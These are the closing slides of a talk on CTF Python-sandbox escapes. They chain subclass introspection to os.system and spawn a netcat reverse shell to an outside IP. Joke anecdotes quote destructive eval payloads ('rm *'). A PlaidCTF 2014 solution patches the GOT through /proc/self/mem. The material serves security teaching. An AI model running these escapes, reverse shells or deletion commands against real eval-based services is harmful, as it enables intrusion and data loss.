['__class__', '__delattr__', '__dict__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_entered', '_module', '_record']

dir(formula)

92 of 118

„Sandbox”

{}.__class__.__base__

.__subclasses__()[59]()._module

<module 'warnings' from '/usr/lib/python2.7/warnings.pyc'>

['WarningMessage', '_OptionError', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '_getaction', '_getcategory', '_processoptions', '_setoption', '_show_warning', 'catch_warnings', 'default_action', 'defaultaction', 'filters', 'filterwarnings', 'formatwarning', 'linecache', 'once_registry', 'onceregistry', 'resetwarnings', 'showwarning', 'simplefilter', 'sys', 'types', 'warn', 'warn_explicit', 'warnpy3k']

dir(formula)

93 of 118

„Sandbox”

{}.__class__.__base__

.__subclasses__()[59]()._module

.__builtins__

[...], 'ArithmeticError': <type 'exceptions.ArithmeticError'>, 'str': <type 'str'>, 'property': <type 'property'>, 'GeneratorExit': <type 'exceptions.GeneratorExit'>, 'int': <type 'int'>, '__import__': <built-in function __import__>, 'KeyError': <type 'exceptions.KeyError'>, 'coerce': <built-in function coerce>, [...]

(6195 bytes)

['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys', 'viewvalues']

dir(formula)

94 of 118

„Sandbox”

{}.__class__.__base__

.__subclasses__()[59]()._module

.__builtins__['__import__']

<built-in function __import__>

['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']

dir(formula)

95 of 118

„Sandbox”

Ender's game...

{}.__class__.__base__

.__subclasses__()[59]()._module

.__builtins__['__import__']

96 of 118

„Sandbox”

Ender's game...

{}.__class__.__base__

.__subclasses__()[59]()._module

.__builtins__['__import__']

('os')

97 of 118

„Sandbox”

Ender's game...

{}.__class__.__base__

.__subclasses__()[59]()._module

.__builtins__['__import__']

('os')

.system

98 of 118

„Sandbox”

Ender's game...

{}.__class__.__base__

.__subclasses__()[59]()._module

.__builtins__['__import__']

('os')

.system

('nc.traditional -e /bin/bash 93.184.216.34 31337')

99 of 118

„Sandbox”

Ender's game...

{}.__class__.__base__

.__subclasses__()[59]()._module

.__builtins__['__import__']

('os')

.system

('nc.traditional -e /bin/bash 93.184.216.34 31337')

100 of 118

„Sandbox”

101 of 118

A funny story I've heard

Once upon a time

there was a spammer...

102 of 118

A funny story I've heard

Quiz!

How did the spammer solve the captcha?:

A. He implemented a parser, a conversion from the infix notation to reverse Polish notation and then he used a stack machine to calculate the result

103 of 118

A funny story I've heard

Quiz!

How did the spammer solve the captcha?:

A. He implemented a parser, a conversion from the infix notation to reverse Polish notation and then he used a stack machine to calculate the result

B. He used eval()

104 of 118

A funny story I've heard

Quiz!

Solution:

For some reason this CAPTCHA:

1+__import__('os').system('rm *')+1

solved the spam problem.

105 of 118

A funny story I've heard ver. 1.5

<@Redford> LOL

<@Redford> I'm solving programming 300

<@Redford> you get a series of math expressions and need to determine if the result is an integer

<@Redford> so I solved several hundred levels

<@Redford> (it says which level you are on)

<@Redford> and suddenly I get this as the next expression:

<@Redford> __import__('os').popen('rm -ri *').read()

<@Redford> :D

<@Redford> thankfully I had a regexp before the eval to prevent just this :)

106 of 118

„Empty Sandbox”

__nightmares__ (PlaidCTF 2014, 375) (q3k!)

You can execute any code.

107 of 118

„Empty Sandbox”

__nightmares__ (PlaidCTF 2014, 375) (q3k!)

You can execute any code.

But there is only stdout in the environment

(and keywords of course).

108 of 118

stdout

109 of 118

stdout

.__class__

110 of 118

stdout

.__class__

<type 'file'>

111 of 118

stdout

.__class__

<type 'file'>

('/proc/self/mem', 'r+')

112 of 118

stdout

.__class__

<type 'file'>

('/proc/self/mem', 'r+')

.seek() + .read()

113 of 118

stdout

.__class__

<type 'file'>

('/proc/self/mem', 'r+')

.seek() + .read()

read addr of system() in .got

114 of 118

stdout

.__class__

<type 'file'>

('/proc/self/mem', 'r+')

.seek() + .read()

read addr of system() in .got

write it under fopen64() in .got

115 of 118

stdout

.__class__

<type 'file'>

('/proc/self/mem', 'r+')

.seek() + .read()

read addr of system() in .got

write it under fopen64() in .got

<type 'file'>

('cat *')

116 of 118

Summary

  • More awesome libraries (pefile, http client, etc).

  • Instrumentation (e.g. for bochs)

  • A fun target to look into

117 of 118

This presentation contained snippets from

  • Data, data, data...�
  • "On the battlefield with the dragons" (with Mateusz Jurczyk)�
  • "Ataki na systemy i sieci komputerowe"�
  • "Pwning (sometimes) with style - Dragons' notes on CTFs" (with Mateusz Jurczyk)

118 of 118

The End

I'm happy to answer all easy questions :)

gynvael@coldwind.pl http://gynvael.coldwind.pl/ twitter: @gynvael